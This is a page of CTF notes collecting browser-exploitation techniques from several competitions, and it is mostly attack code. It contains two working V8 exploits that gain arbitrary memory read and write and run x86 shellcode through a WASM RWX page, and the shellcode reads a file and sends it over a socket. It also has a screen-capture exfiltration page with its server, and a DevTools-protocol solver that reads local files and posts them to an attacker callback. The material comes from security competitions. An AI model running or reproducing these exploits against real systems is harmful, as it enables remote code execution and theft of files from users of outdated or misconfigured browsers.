Skip to content

Categories

Browser

the challenge use FROM node:16-alpine3.16 which bundle Chrome version 102, and can be used to gain RCE.CTFtime.org / Google Capture The Flag 2025 / Sourceless / WriteupNotice that the bot runs Chromiu...

Created

Updated

38 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Chrome 102 RCE

Event NameBackdoor CTF
GitHub URL-
Challenge NameMCP Mayhem
Attachments
References

the challenge use FROM node:16-alpine3.16 which bundle Chrome version 102, and can be used to gain RCE.

solve.py
function print(string, beacon=true) {
  console.log(string);
  if (beacon) {
    navigator.sendBeacon('REDACTED', string);
  }
}
print("Starting exploit...", true);
const conv_ab = new ArrayBuffer(8);
const conv_f64 = new Float64Array(conv_ab);
const conv_u64 = new BigUint64Array(conv_ab);

const FAKE_JSARR_SZ = 2n;

function itof(x) {
    conv_u64[0] = BigInt(x);
    return conv_f64[0];
}

function ftoi(x) {
    conv_f64[0] = x;
    return conv_u64[0];
}

function leak_hole() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1]
}

var map1 = null;
var foo_arr = null;
function getmap(m) {
    m = new Map();
    m.set(1, 1);
    m.set(leak_hole(), 1);
    m.delete(leak_hole());
    m.delete(leak_hole());
    m.delete(1);
    return m;
}
map1 = getmap(map1, leak_hole());

foo_arr = new Array(1.1, 1.1);
obj_arr = new Array({}, {});
placeholder_arr = new Array(1.1, 1.1);
map1.set(0x10, -1);
map1.set(foo_arr, 0xffff);

print("Overwritten arr len: 0x"+foo_arr.length.toString(16));

var EMPTY_PROPERTIES_ADDR = 0x2261n; 
var MAP_JSARR_PACKED_DOUBLES_ADDR = 0x24a871n;

//for (let i = 13; i < 14 + 0x20; i++) {
//    let tmp = ftoi(foo_arr[i])
//    print(`foo_arr[${i}]: 0x` + tmp.toString(16));    
//}

print("EMPTY_PROPERTIES_ADDR: 0x"+(EMPTY_PROPERTIES_ADDR).toString(16));
print("MAP_JSARR_PACKED_DOUBLES_ADDR: 0x"+(MAP_JSARR_PACKED_DOUBLES_ADDR).toString(16));

function GetAddressOf(x) {
    obj_arr[0] = x;
    return (ftoi(foo_arr[14]) - 1n) & 0xffffffffn;
}

function GetFakeObject(x) { 
    foo_arr[14] = itof(x);
    return obj_arr[0];   
}

let arr_arbrw = [0.1, 0.2, 0.3];

let addr = GetAddressOf(arr_arbrw);

let fake_jsarr = [
    itof((EMPTY_PROPERTIES_ADDR << 32n) | BigInt(MAP_JSARR_PACKED_DOUBLES_ADDR)),
    itof(0x4343434343434343n),
];

let FAKE_JSARR = GetAddressOf(fake_jsarr)+1n;
let FAKE_JSARR_ELEMENTS = FAKE_JSARR + 68n;
print("FAKE: 0x"+(FAKE_JSARR_ELEMENTS).toString(16));
let ARR_ARBRW_ADDR = GetAddressOf(arr_arbrw);
print("ARR: 0x"+(ARR_ARBRW_ADDR).toString(16));
fake_jsarr[1] = itof(((FAKE_JSARR_SZ * 2n) << 32n) | BigInt(ARR_ARBRW_ADDR+1n));
let corrupter_arr = GetFakeObject(FAKE_JSARR_ELEMENTS);

function v8_write64(where, what) {
    corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
    arr_arbrw[0] = itof(what);
}

function v8_read64(where) {    
    corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
    return ftoi(arr_arbrw[0]);
}

const expl_wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1, 7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108, 108, 0, 1, 10, 249, 1, 2, 3, 0, 1, 11, 242, 1, 0, 65, 0, 66, 144, 161, 194, 132, 137, 178, 212, 245, 9, 55, 3, 0, 65, 1, 66, 144, 161, 194, 132, 169, 205, 200, 245, 6, 55, 3, 0, 65, 2, 66, 144, 161, 194, 132, 153, 200, 214, 245, 6, 55, 3, 0, 65, 3, 66, 144, 161, 194, 172, 148, 134, 240, 245, 6, 55, 3, 0, 65, 4, 66, 144, 161, 194, 172, 148, 166, 242, 245, 6, 55, 3, 0, 65, 5, 66, 144, 255, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 6, 66, 129, 239, 135, 136, 189, 157, 195, 245, 6, 55, 3, 0, 65, 7, 66, 144, 161, 194, 132, 169, 237, 193, 245, 6, 55, 3, 0, 65, 8, 66, 144, 161, 194, 132, 137, 210, 214, 245, 6, 55, 3, 0, 65, 9, 66, 144, 253, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 10, 66, 129, 237, 135, 136, 145, 160, 192, 245, 6, 55, 3, 0, 65, 11, 66, 144, 161, 194, 132, 169, 173, 194, 245, 6, 55, 3, 0, 65, 12, 66, 144, 161, 194, 132, 137, 146, 214, 245, 6, 55, 3, 0, 65, 13, 66, 144, 161, 194, 132, 249, 161, 193, 245, 6, 55, 3, 0, 65, 14, 66, 144, 161, 194, 132, 137, 178, 214, 245, 6, 55, 3, 0, 65, 15, 66, 144, 161, 194, 132, 137, 242, 240, 245, 6, 55, 3, 0, 11]);
let expl_wasm_mod = new WebAssembly.Module(expl_wasm_code);
let expl_wasm_instance = new WebAssembly.Instance(expl_wasm_mod);
let wasm_instance_addr = GetAddressOf(expl_wasm_instance) + 1n;
print("wasm instance addr: 0x"+wasm_instance_addr.toString(16));
let rwx_page = (v8_read64(wasm_instance_addr + 0x60n));
print("rwx_page: 0x"+(rwx_page).toString(16));

rwx_page += 0x4ean;
print("rwx_page: 0x"+(rwx_page).toString(16));
v8_write64(wasm_instance_addr + 0xfcn, rwx_page);

expl_wasm_instance.exports.trigger();

var rwx_page_buf = new ArrayBuffer(0x1000);
var rwx_page_buf_ptr = GetAddressOf(rwx_page_buf);
print(`WASM RWX page buffer: 0x${rwx_page_buf_ptr.toString(16)}`);
v8_write64(rwx_page_buf_ptr + 0x1dn, 0xdead000n);

print("Overwrote WASM RWX page buffer backing store pointer");
var rwx_page_arr = new Int8Array(rwx_page_buf);

const SHELLCODE = [0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x74, 0x2f, 0x62, 0x6f, 0x74, 0x2e, 0x6a, 0x73, 0x50, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x62, 0x6f, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x22, 0x28, 0x5a, 0x63, 0xc9, 0x93, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x48, 0x89, 0xef, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5, 0x31, 0xff, 0x31, 0xc0, 0xb0, 0xe7, 0xf, 0x5]
print("CHECK!!!", true);
for(var i = 0; i < SHELLCODE.length; i++) {
    rwx_page_arr[i] = SHELLCODE[i];
}
v8_write64(wasm_instance_addr + 0xfcn, 0xdead000n);
expl_wasm_instance.exports.trigger();

Bypassing display capture “self” in Permissions-Policy

Event NameCrew CTF 2025
GitHub URL-
Challenge NameProfessor’s View
Attachments
References

index.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Display Capture Request</title>
  <script>
    async function captureDisplay() {
      try {
        await fetch("/?message=Starting");
        // Request the display-capture permission to capture the screen
        const stream = await navigator.mediaDevices.getDisplayMedia({ video: true });
        
        // If permission is granted, send a GET request to the same origin
        await fetch( "/?message=Display%20capture%20permission%20granted");

        const video = document.createElement("video");

        video.srcObject = stream;
        video.play();

        video.onloadedmetadata = async () => {
            const canvas = document.createElement("canvas");
            const context = canvas.getContext("2d");

            canvas.width = video.videoWidth;
            canvas.height = video.videoHeight;

            context.drawImage(video, 0, 0, canvas.width, canvas.height);
            stream.getTracks().forEach(track => track.stop());

            const screenshotDataUrl = canvas.toDataURL("image/png");

            const response = await fetch("/upload", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ image: screenshotDataUrl })
            });
          };


        // Handle the response from the server
        const result = await response.text();
        console.log('Server Response:', result);
      } catch (err) {
        // Handle errors (e.g., if the user denies permission)
        console.error('Display capture failed:', err);
        await fetch( "/?message="+encodeURIComponent(err));
      }
    }

    // Trigger the screen capture request on page load
    window.onload = () => {
      captureDisplay().then(()=>{captureDisplay()});
    };
  </script>
</head>
<body>
  <h1>Display Capture Test</h1>
  <p>If you allow screen capture, a request will be sent to the server.</p>
</body>
</html>
server.js
const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const path = require("path");
const https = require("https");  
const http = require("http");  

const app = express();
const PORT = 443;

// generate ssl
// openssl req -x509 -nodes -days 365 -newkey rsa:2048  -keyout private-key.pem -out certificate.pem -subj "/C=US/ST=State/L=City/O=Organization/OU=Unit/CN=example.com"
// SSL certificates (replace with your own paths if needed)
const privateKey = fs.readFileSync("private-key.pem", "utf8");
const certificate = fs.readFileSync("certificate.pem", "utf8");
const credentials = { key: privateKey, cert: certificate };

app.use(bodyParser.json({ limit: "10mb" })); // Increase limit to handle large images

app.get('/', (req, res) => {
    console.log(`[*] Request: ${req.originalUrl}`);
    res.sendFile(path.join(__dirname,'./index.html'));
});


app.post("/upload", (req, res) => {
    console.log("[X] Uploading screenshot");
    const { image } = req.body;

    if (!image) {
        return res.status(400).json({ message: "No image provided" });
    }

    // Decode Base64 to Buffer
    const base64Data = image.replace(/^data:image\/png;base64,/, "");
    const filePath = `screenshots/screenshot_${Date.now()}.png`;

    // Save to file
    fs.mkdirSync("screenshots", { recursive: true });
    fs.writeFile(filePath, base64Data, "base64", (err) => {
        if (err) {
            console.error("Error saving image:", err);
            return res.status(500).json({ message: "Failed to save image" });
        }
        res.json({ message: "Screenshot saved successfully!", path: filePath });
    });
});


app.listen(PORT, () => {
  console.log(`Server is running on http://localhost:${PORT}`);
});
tl;dr
  • The challenge is a web security / CTF task where you interact with a “Professor” bot that reviews a student’s complaint; the flag is stored on the Professor’s dashboard at /professor. bubu
  • Complaints are sanitized and rendered via a custom Markdown-like pipeline: quotes are escaped, < and > are replaced, and special handlers exist for images, links, and “embedded pages” (referPage). bubu
  • Direct XSS is blocked via sanitization and a strict Content-Security-Policy (CSP). bubu
  • A key clue: the bot (in a headless-like browser) is launched with a Chromium flag -auto-select-desktop-capture-source=E, which forces accepting “display capture” permission automatically. bubu
  • The server sets a Permissions-Policy header that restricts display-capture to self (meaning only same-origin top-level contexts or iframes with the same origin can request it). bubu
  • The trick is: “headerless” documents (e.g. about:srcdoc) do not carry HTTP headers (including Permissions-Policy), so they don’t enforce the self restriction. bubu
  • The payload uses an iframe srcdoc injection inside the sanitized markdown via creative nesting (e.g. using referPage to inject into an iframe), and delegates display-capture to the attacker origin. Inside that iframe, the attacker can capture the screen (i.e. screenshot the bot’s view) and exfiltrate the flag. bubu
  • Final result: the bot is tricked into displaying the professor’s dashboard in a context where display capture is allowed (by bypassing the “self” restriction), letting the attacker screenshot and retrieve the flag. bubu
  • The solved flag is crew{permissions_are_fun_even_that_people_dont_really_care_1a3b7c9d} bubu
  • File origin bypass in firefox

    CTFtime.org / Google Capture The Flag 2025 / Sourceless / Writeup

    Browser Extension can be exploited using dom clobbering

    Event NameTPCTF
    GitHub URL-
    Challenge NameAre you incognito?
    Attachments
    References

    Notice that the bot runs Chromium but the extension uses browser instead of chrome to access the extension API. It uses webextension-polyfill to provide the API under browser. We can pass the check if we modify the browser object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use DOM clobbering to do so.

    We need browser.runtime.id to pass the check in webextension-polyfill and then browser.extension.inIncognitoContext to pass the check in the challenge:

    HTML

    <form id="browser" name="runtime"></form><form id="browser" name="extension">  <input name="inIncognitoContext"></form>

    An alternative solution is found by USTC-NEBULA, that is to create a global variable exports instead of browser.runtime.id to pass the check in babel-transform-to-umd-module.js.

    Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the /flag request. You can use requestrepo.com or your own server.

    This appears to be a 0-day vulnerability2, but I couldn’t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It’s at least a bug if not a vulnerability.

    P.S. A similar bug was once discovered and fixed in #153 but later introduced again in #582.

    Local File Read Vulnerability in Browser Devtools

    Event NamePWNME CTF 2025
    GitHub URL-
    Challenge NameHack the bot 2
    Attachments
    References

    If user data dir is accessible

    const browserCachePath = '/tmp/bot_folder/browser_cache/';
    ..snip..
            const browser = await puppeteer.launch({
                headless: 'new',
                args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
            });
    

    in this case because the misconfiguration in nginx

    location /logs {
        autoindex off;
        alias /tmp/bot_folder/logs/;
        try_files $uri $uri/ =404;
    }

    we can read it using path traversal

    curl --path-as-is "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/logs../browser_cache/DevToolsActivePort
    solver
    // @ts-check
    
    import { $, serve } from "bun"
    
    const publicUrl = new URL("http://my.public.ip:25565/");
    const challengeUrl = "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/";
    
    // Shoutout to https://github.com/aslushnikov/getting-started-with-cdp
    
    async function getWebsocketUrl() {
        const devTools = await $`curl --path-as-is "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/logs../browser_cache/DevToolsActivePort"`.text();
        const [port, path] = devTools.split('\n');
        const websocketUrl = `ws://localhost:${port}${path}`;
        console.log(websocketUrl);
        return websocketUrl;
    }
    
    // This is converted to a string and injected into the page, so we can't use any external variables
    async function getFlag(publicUrl) {
        const websocketUrl = await fetch("/get-websocket-url").then(res => res.text());
    
        const devtools = new WebSocket(websocketUrl);
    
        let sessionId = null;
    
        function callback(str) {
            fetch(new URL(`/callback?${new URLSearchParams({str})}`, new URL(publicUrl)));
        }
    
        devtools.onopen = () => {
            callback("Opened");
    
            devtools.send(JSON.stringify({
                id: 1,
                method: 'Target.createTarget',
                params: {
                    url: "file:///root/flag2.txt",
                },
            }));
        };
    
        devtools.onerror = (err) => {
            console.error('WebSocket Error: ', err);
            callback("WebSocket Error: " + err);
        }
    
        devtools.onmessage = (event) => {
            // const {result: {result: {value}}} = JSON.parse(data);
            // console.log('WebSocket Message Received: ', value)
            callback("<-- " + event.data);
            const obj = JSON.parse(event.data);
    
            if (obj.id === 1 && sessionId === null) {
                const targetId = obj.result.targetId;
    
                devtools.send(JSON.stringify({
                    id: 2,
                    method: 'Target.attachToTarget',
                    params: {
                        targetId,
                        flatten: true
                    }
                }));
            } else if (obj.id === 2 && sessionId === null) {
                sessionId = obj.result.sessionId;
    
                devtools.send(JSON.stringify({
                    sessionId,
                    id: 3,
                    method: 'DOM.getDocument',
                }));
    
                devtools.send(JSON.stringify({
                    sessionId,
                    id: 4,
                    method: 'DOM.getOuterHTML',
                    params: {"nodeId":1}
                }));
    
                // Wait for DOM.documentUpdated
                setTimeout(() => {
                    devtools.send(JSON.stringify({
                        sessionId,
                        id: 5,
                        method: 'DOM.getDocument',
                    }));
                    devtools.send(JSON.stringify({
                        sessionId,
                        id: 6,
                        method: 'DOM.getOuterHTML',
                        params: {"nodeId":5}
                    }))
                }, 1000);
            }
    
        };
    }
    
    
    const payload = `(${getFlag.toString()})("${publicUrl}")`
    // const payloadOctal = payload.split('').map(c => "\\" + c.charCodeAt(0).toString(8).padStart(3, "0")).join('')
    // const html = `<input type=hidden oncontentvisibilityautostatechange="${payloadOctal}" style=content-visibility:auto>`
    
    // Page.navigate	{"url":"file://C:/Users/Nick/Documents/ProgrammeerProjectjes/CTF/PwnMeQuals2025/web_Hack_The_bot/flag2.txt"}	
    // DOM.getOuterHTML	{"nodeId":1}	
    
    
    async function reportUrl(url) {
        console.log("[*]", "Reporting", url);
        
        const res = await fetch(`${challengeUrl}/report`, {
            method: "POST",
            body: new URLSearchParams({url}),
            headers: {
                "Content-Type": "application/x-www-form-urlencoded",
            },
        })
        if (!res.ok) {
            console.error("[*]", "Failed to report", url, await res.text());
            return;
        }
        const logPath = await res.text();
        const logUrl = new URL(logPath, challengeUrl)
        console.log("[*]", logUrl.toString());
    
        const logRes = await fetch(logUrl);
        const logText = await logRes.text();
        console.log("[*]", logText);
    }
    
    const server = serve({
        routes: {
            "/pwn": (req, server) => {
                console.log("[*]", server.requestIP(req)?.address, req.url);
                return new Response(`
                    <!DOCTYPE html>
                    <html lang="en">
                    <head>
                        <meta charset="UTF-8">
                        <meta name="viewport" content="width=device-width, initial-scale=1.0">
                        <title>Document</title>
                    </head>
                    <body>
                        Pwned
                        <script>
                            ${payload}
                        </script>
                    </body>
                    </html>
                `, {
                    headers: {
                        "Content-Type": "text/html",
                    }
                });
            },
            "/get-websocket-url": async (req, server) => {
                console.log("[*]", server.requestIP(req)?.address, req.url);
                const websocketUrl = await getWebsocketUrl();
                return new Response(websocketUrl);
            },
            "/callback": (req, server) => {
                console.log("[*]", server.requestIP(req)?.address, new URL(req.url).pathname, new URL(req.url).searchParams.get("str"));
                return new Response(`${server.requestIP(req)} ${req.url}`);
            },
        },
        port: 25565,
        hostname: "0.0.0.0",
    });
    console.log(`Listening on ${publicUrl}`);
    
    reportUrl(new URL("/pwn", publicUrl).toString())

    Local File Read Vulnerability in Browser Devtools

    Event NameGPN CTF 2024
    GitHub URL-
    Challenge NameFlag Remover
    Attachments
    References

    A local file read vulnerability can occur if browser devtools, also known as google-chrome --remote-debugging-port=13370, are enabled:

    const exp = require('constants');
    const WebSocket = require('ws');
    
    const wsUrl = 'ws://localhost:1337/devtools/page/';
    
    // socat TCP-LISTEN:1337,fork OPENSSL:where-the-lights-are-low--felix-jaehn-2390.ctf.kitctf.de:443
    /**
    import httpx
    
    URL = "http://localhost:1337"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    
        def test(self):
            return self.c.get("/json")
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        print(api.test().text)
     */
    const ws = new WebSocket(wsUrl+"ABC1339CFEEC8C298E81334D86AE99D1");
    
    ws.on('open', function open() {
        console.log('Connected to the WebSocket');
    
        ws.send(JSON.stringify({
            id: 1,
            method: 'Target.createTarget',
            params: {
                url: "file:///flag",
            }
        }));
    
    });
    
    ws.on('message', async function message(data) {
        const response = JSON.parse(data);
        console.log(response)
        if (response.result?.targetId) {
            const ws = new WebSocket(wsUrl+response.result.targetId);
            ws.on('open', function open() {
                console.log('Connected to the WebSocket');
                ws.send(JSON.stringify({
                    id: 2,
                    method: 'Runtime.evaluate',
                    params: {
                        expression: 'document.body.innerHTML',
                    }
                }));
            });
            ws.on('message', async function message(data) {
                const response = JSON.parse(data);
                console.log(response)
            });
        }
    });
    

    see more about google chrome dev tools here Chrome DevTools Protocol - Accessibility domain

    Chrome Public CVE in puppeter latest

    Event NamePWNME CTF Quals 2025
    GitHub URLhttps://github.com/Phreaks-2600/PwnMeCTF-2025-quals/
    Challenge NameHack the bot 2
    Attachments
    References
  • https://jopraveen.github.io/web-hackthebot/
  • https://doc-1i4g-0s0g-issuetracker.googleusercontent.com/attachments/itr3pj46upq9p0urjk3i8ihpn6m6u44v/q12desjl5btl49dgvd61fuu4onbe95b2/1741157100000/1456332/106925832359155173690/365802567::59303131::1456332?dat=AFNnbnnK_d2ezPQZ_fl-XJy-dlNlweGG4BpsOyc-fi6yjJ8igFAVDt6RMBT0EfzNkK4qv5HgFwpXSRtvH-GY_Mfp8SQg6qWw602OMobuJNoye8WTGyPXqlfUciNTUwLiJj-GLqAzUiKOz9d_aq2gynKf_-BdZUe1aGtrt8gFm0RzKwS9MQRlfBgMHJ3KXtjhslbBhC0y4jrGkoIxyn25ebnwQadJVOHiKdmXfxUsSNPauRd-JlSV_quEumXEqB6LLAAxFOMPDJqnYDHr_Doxg9ZaUg0mjW2gSxQi2DRCQCYVL1tx7wEnT0GOASK1-z9_-ft-Lfcm1SLfz4Xuocs5iaQU131UNtQdqEssE-HoYygf09bhYo0y_5TY9Q5DL4iUN6jdaWfuoCtV4_-pf7Ot8cju7dKaS0v-PbDRyBGzG1cxN5CocZQK1JGXDIBocvMugDF0k3X1ZjduLjqAWXClOV2RcC5TjHBdEFM5DnPlZBitPxBCPzqyTjzZTa-g-wtI36uDxYaqY78dRCco10QpIEoB5QEUVAcQ6n9z-nBkgiQjsEKYeRX5zpJkG3mSD9bRGewQoEpXS9aDG3hKUtTjYA0q6rdH3qeLyzgchyizOT38nWiwCZ1kfO03CTnJvGEMz8oQST9vZBe_V1CvkIGW9-SpkfspW-4SUUsVPdAHopuv-cl1xNVESZqkMcr2eVALZytXfONpEQWltErmZ1WNZao9i8cBvXMmep4VIlzKVjw6pxAZVuEsPMAHDtKfjXWfOs5eF3RfXFO5y05e1klL1TUront5fjJpSnH-jAxqtuUwcPeofU6MW7OmhHRhw_KrHskgDcDatjUShEqKprWSGXa1x8sOLXwn6pFEIxFOaAzafANmxA_wh7tQFXVHFgQzOjcYbUuXrjemdJQbWzzwmeQ5X3SaSHLSugkCqYaF4GKNb1T69pw8EgvesKd9hjfFxGEFgufMVRFDnlPiY-zWmBeJbobWpNfxhzpcXRjrtbpfsRiUp9cC8WEV8cTulhQjfFaSdidWbhix&u=0&s=1&q=AN9yeQKnK3cAK0D5NNZoMwf97OFuwotVEVlQ_yweXoGUj3825cnU6FlIkYovZgbgv7cw8IHNAduHLmiU-pSiJ-88-Z2Q&download=false&nonce=9rvs6teeuo1to&user=106925832359155173690&hash=qas6fe4gc72obh5bpg71dkcf2gs2aiu1 (exploit)
  • WASM type confusion due to imported tag signature subtyping [365802567] - Chromium

  • Browser CVE unitended solution in idekctf 2024

  • old browser version, public renderer exploits available
  • chrome sbx enabled -> RCE not possible w/o a SBX bug
  • abuse site isolation instead, same process used for all subdomains
  • use XSS on idek-hello.chal.idek.team to pwn the renderer
  • hook chromium IPC mechanisms, fake JS/HTML data
  • redirect to flamethrower.chal.idek.team -> profit
  • var conv_ab = new ArrayBuffer(8);
    var conv_f64 = new Float64Array(conv_ab);
    var conv_b64 = new BigInt64Array(conv_ab);
    
    function dtoi(f) {
        conv_f64[0] = f;
        return conv_b64[0];
    }
    
    function itod(i) {
        conv_b64[0] = i;
        return conv_f64[0];
    }
    
    function ptr(addr) {
        return addr | 1n;
    }
    function unptr(addr) {
        return addr & ~3n;
    }
    
    function smi(i) {
        return i << 1n;
    }
    function unsmi(i) {
        return i >> 1n;
    }
    
    const FIXED_ARRAY_HEADER_SIZE = 8n;
    var large_arr = new Array(0x10000);
    large_arr.fill(itod(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
    var packed_map = null;
    var packed_double_map = null;
    var packed_double_props = null;
    var fake_arr_elements_addr = null;
    var fake_arr = null;
    
    function fake_obj(addr) {
        large_arr[0] = itod(packed_map | (packed_double_props << 32n));
        large_arr[1] = itod(fake_arr_elements_addr | (smi(1n) << 32n));
        large_arr[3] = itod(ptr(addr));
        
        let result = fake_arr[0];
        
        large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n)); 
        
        return result;
    }
    
    
    function addr_of(obj) {
        large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
        large_arr[1] = itod(fake_arr_elements_addr | (smi(1n) << 32n));
        
        fake_arr[0] = obj;
        let result = dtoi(large_arr[3]) & 0xFFFFFFFFn;
        
        large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n)); 
        
        return result;
    }
    
    function v8_read64(addr) {
        addr -= FIXED_ARRAY_HEADER_SIZE;
        
        large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
        large_arr[1] = itod(ptr(addr) | (smi(1n) << 32n));
        
        let result = dtoi(fake_arr[0]);
        
        large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n)); 
    
        return result;    
    }
    
    function v8_write64(addr, val) {
        addr -= FIXED_ARRAY_HEADER_SIZE;
        
        large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
        large_arr[1] = itod(ptr(addr) | (smi(1n) << 32n));
        
        fake_arr[0] = itod(val);
        
        large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));   
    }
    
    function gc_minor() { //scavenge
        for(let i = 0; i < 1000; i++) {
            new ArrayBuffer(0x10000);
        }
    }
    
    function gc_major() { //mark-sweep
        new ArrayBuffer(0x7fe00000);
    }
    
    //https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/18865d6af0404f2d2aeb1c99dd73503364ce0967:src/flags/flag-definitions.h;l=1444
    function flush_bytecode() {
        //please change to be the "bytecode_old_age" value from ./src/flags/flag-definitions.h
        //you can observe if this is working by passing the "--trace-gc" flag
        const bytecode_old_age = 5;
        for(let i = 0; i < (bytecode_old_age+1); i++) {
            //doesn't seem to matter if the allocation fails
            try {
                gc_major();
            } catch(err) {
                //print(err);
            }
        }
    }
    
    function make_small() {
        let result = {};
        result.p1 = 1;
        return result;
    }
    
    function make_big() {
        //These are all inline properties. If we make a smaller object have the 
        //same MAP as this then we will be able to access out of bounds.
        let result = {
            p1: 1, p2: 2, p3: 3, p4: 4, p5: 5, p6: 6, p7: 7, p8: 8, p9: 9, p10: 10, 
            p11: 11, p12: 12, p13: 13, p14: 14, p15: 15, p16: 16, p17: 17, p18: 18
        };
        //We need to add the extra property to transition to a new MAP with a cleared
        //validity cell. Also, the extra field is external and captures the write so
        //that doesn't interfere with our inline properties.
        result.extra = 1;
        return result;
    }
    var ballast = null;
    var small_obj = make_small();
    var big_obj = make_big();
    var corrupted_obj = null;
    var arr1 = null;
    var arr2 = null;
    
    for(let i = 0; i < 11; i++) {
       
        //this prevents bad results from LoadGlobalNotInsideTypeof slots from crashing the exploit
        function dummy() { return true; }
        
        //use locals here instead of globals because otherwise it would create extra slots in the feedback vector
        let target = {}; //placeholder - this is the object we want to change the MAP of.
        let SetNamedStrict_slot1 = {}; //this gets transitioned to "small_obj" MAP once we add property p1
        let LoadProperty_slot0 = big_obj; //this is the MAP we want to transition to.
        if(i == 10) {
            //this causes the bytecode to be thrown away
            flush_bytecode();
            //allocate all the objects after GC so that they are allocated in NewSpace
            corrupted_obj = make_small();
            target = corrupted_obj;
            arr1 = [1.85419992257717e-310,1.85419992257717e-310,1.85419992257717e-310,1.85419992257717e-310]; //0x0000222200002222        
            arr2 = [large_arr,2,3,4,5,6,7,8];
        }
    
        //This will cause corrupted_obj (small_obj MAP) to transition to a big_obj MAP
        //Unfortunately because of the nature of the vulnerability we cant put this in it's own function :-(
        ((a = class Clazz {
           [(dummy(
                eval(),
                eval, //consumes 2 feedback slots (LoadGlobalNotInsideTypeof) upon reparse
                eval, //consumes 2 feedback slots (LoadGlobalNotInsideTypeof) upon reparse
                target.p1 = 123, //this is where the target SetNamedStrict slot will be
                [], //this Literal (AllocationSite) uses one feedback slot. This is important. Slot value has to be a valid pointer!
                SetNamedStrict_slot1.p1 = 1, //small_obj MAP will be in the second SetNamedStrict slot
                LoadProperty_slot0.p1 //big_obj MAP will be in the first LoadProperty slot
            )
            ? 0 : (ballast = 1)) //this crap is to make sure the slot length of the feedback vector and feedback metadata are equal
           ]
        }) => {})();
    }
    //*
    corrupted_obj.p18 = 0x30; //modify length of arr1 array
    
    let large_arr_addr = dtoi(arr1[7]) & 0xFFFFFFFFn;
    let large_arr_elements_field_addr = large_arr_addr + 8n;
    
    let packed_double_map_and_props = dtoi(arr1[4]);
    packed_double_map = packed_double_map_and_props & 0xFFFFFFFFn;
    packed_double_props = packed_double_map_and_props >> 32n;
    let packed_double_elements = dtoi(arr1[5]) & 0xFFFFFFFFn;
    
    let packed_map_and_props = dtoi(arr1[11]);
    packed_map = packed_map_and_props & 0xFFFFFFFFn;
    let packed_props = packed_map_and_props >> 32n;
    
    let fixed_arr_map = dtoi(arr1[6]) & 0xFFFFFFFFn;
    
    arr1[0] = itod(packed_double_map | (packed_double_props << 32n));
    arr1[1] = itod((large_arr_elements_field_addr - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
    
    let temp_fake_arr_addr = packed_double_elements + FIXED_ARRAY_HEADER_SIZE;
    arr1[7] = itod(temp_fake_arr_addr);
    let temp_fake_arr = arr2[0];
    let large_arr_elements_addr = dtoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
    temp_fake_arr = null;
    
    let fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
    fake_arr_elements_addr = fake_arr_addr + 16n;
    
    large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
    large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
    large_arr[2] = itod(fixed_arr_map | (smi(0n) << 32n));
    
    arr1[7] = itod(fake_arr_addr);
    fake_arr = arr2[0];
    
    //cleanup
